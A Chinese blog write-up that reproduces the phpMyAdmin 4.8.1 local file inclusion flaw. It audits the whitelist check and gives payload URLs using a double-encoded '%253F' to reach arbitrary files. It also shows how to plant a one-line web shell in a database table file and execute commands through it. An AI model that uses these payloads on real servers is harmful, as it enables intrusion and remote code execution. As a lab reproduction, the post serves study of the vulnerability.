Sunny117
- 关注
声明:
本文章用于技术交流,请勿用于非法用途
前两天复现了一个phpmyadmin的文件包含漏洞,分享一下
文件包含就是重复使用相同的代码,引用某个文件中的后端代码进行执行,无论什么后缀的文件都可以。
php有四个文件包含函数
1、include()
这个函数可以包含文件执行多次
2、include_once()
这个函数会检测之前有没有包含过,如果有包含过,那么只会执行一次
3、require()
这个函数跟include差不多
4、require_once()
这个也差不多
include() 和 require()的区别:
include()
用到时临时加载然后使用require()
先加载,然后整合进原有代码,在一起执行这样的区别核心在于:如果你加载的代码出了问题,那么include()
是会继续往后面执行的,而require()
就不会了
文件包含分为两种
1、本地文件包含(LFI)包含本地文件
2、远程文件包含(RFI)访问外网某个文件,然后包含,
默认情况下远程文件包含不开启,allow_url_include = on则为开启 off则为不开启,不过Windows的SMB共享
文件服务可以绕过allow_url_include = on
文件包含的路径中是不能出现问号的,因为在php中问号代表着传参
审计过程
定位函数 include() 函数,找这个函数不要加括号,因为include_once()也能存在include $_REQUEST['target'];
这个文件包含的有点野,只要满足条件,用户传什么传参就包含什么
那么我们看一下怎么样才能满足条件并能不能控制它
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
1、(! empty($_REQUEST['target'])
!
是取反empty()
检测一个变量是否为空($_REQUEST['target'])
传参
根据上面的推测,这条代码就是检测是否有内容传入
2、is_string($_REQUEST['target'])
is_string()
检测变量是否是字符串,这条代码就是传参必须是字符串
3、! preg_match('/^index/', $_REQUEST['target'])
preg_match
正则,^
是匹配了开头,也就是说不能index开头
4、! in_array($_REQUEST['target'], $target_blacklist)
in_array()
检查数组中是否存在某个值in_array(要被检测的值,被搜索的数组)
$target_blacklist
这里是个黑名单,也就是说我们传参的文件不能在黑名单里被匹配到
5、Core::checkPageValidity($_REQUEST['target'])
Core::::
在php中很有可能是类里面的方法,
我们全文搜索这个类里面的函数checkPageValidity
看看
定位过来后发现,确实是个定义了一个类
好了,又要分析代码了public static function checkPageValidity(&$page, array $whitelist = [])
checkPageValidity()
有两个传参,形参是$page
,第二个传参是$whitelist
,第二个我们可以当它不存在,因为那边只传了一个
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
这里检测$whitelist
是否为空,因为我们都不传,那就是为空了,为空的话呢它就会去加载self::$goto_whitelist
,其实就是去加载类里面$goto_whitelist
里的内容,我们的传参在$goto_whitelist
里才会生效,也就是个白名单
if (! isset($page) || !is_string($page)) { return false; }
isset($page)
is_string($page)
这两个就是检测它是否存在,是否是字符串
if (in_array($page, $whitelist)) { return true; }
in_array()
这里前面说过了,这里检测$page是否在$whitelist
里面,也就是哪个白名单,它要求传参在白名单里
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));
mb_strpos()
这个函数是返回要查找的字符串在别一个字符串中首次出现的位置,那么mb_strpos($page . '?','?')
这里它会截取问号第一次出现的前部分内容mb_substr()
返回字符串的一部分,代码连起来mb_substr($page,0,mb_strpos($page . '?', '?')
意思就是:检测问号首次出现的地方,截取问号前的内容
if (in_array($_page, $whitelist)) { return true; }
然后它把截取后的内容放入到白名单里进行校验,我们可以从白名单随便取一个值,如:
import.php?../../1.php 我们传的是白名单里的值,然后它截取?前的内容,整下的就是../../1.php了
但是include不能包含有?
,那么这里就费了
看一下最后这个
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }
$_page = urldecode($page);
,urldecode是解码,那么这里就做了一个$_page 的URL解码,它这里解码了,那
么我们把问号编码一下呢?
include(import.php%3F../../1.php)就这样include就不问号影响了
复现
开始打开phpmyadmin,访问index.php
源码中要求登录中的状态才能执行下图的代码(无关用户权限),所以还是要登录才可以执行
GET传参本身就会解码一次,加上源码中的那个urldecode那就是解码两次了,当然传POST的传参也是可以的,POST传参不会解码
构造payload:http:127.0.0.1/3/phpMyAdmin-4.8.1-all-languages/index.php?target=sql.php%253F/包含的文件
但是这里有个问题,那就是我们并不知道目标机器里有什么文件啊。。。。
这里就要了解一些别的东西了,phpstudy的目录里有个data文件夹,data里面放的是数据库的库名
每个表里面呢也都有字段名,正常情况下任何数据库用户权限都是可以新创建表的,那么我们新建一
个表,在表的字段写入一句话木马就可以了
有人可能会说不知道data文件在哪里,那么这里使用一条命令就可以查到:select @@datadir
最后构成的payload:http://127.0.0.1/3/phpMyAdmin-4.8.1-all-languages/index.php?target=sql.php% 253F/../../../../../../../../phpStudy/MySQL/data/sunny/admin333.frm&cmd=phpinfo();
虽然一句话出来了,但是不能直接连接webshell的,所以需要写一下文件才能连接
好了,本文就到这里结束了
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)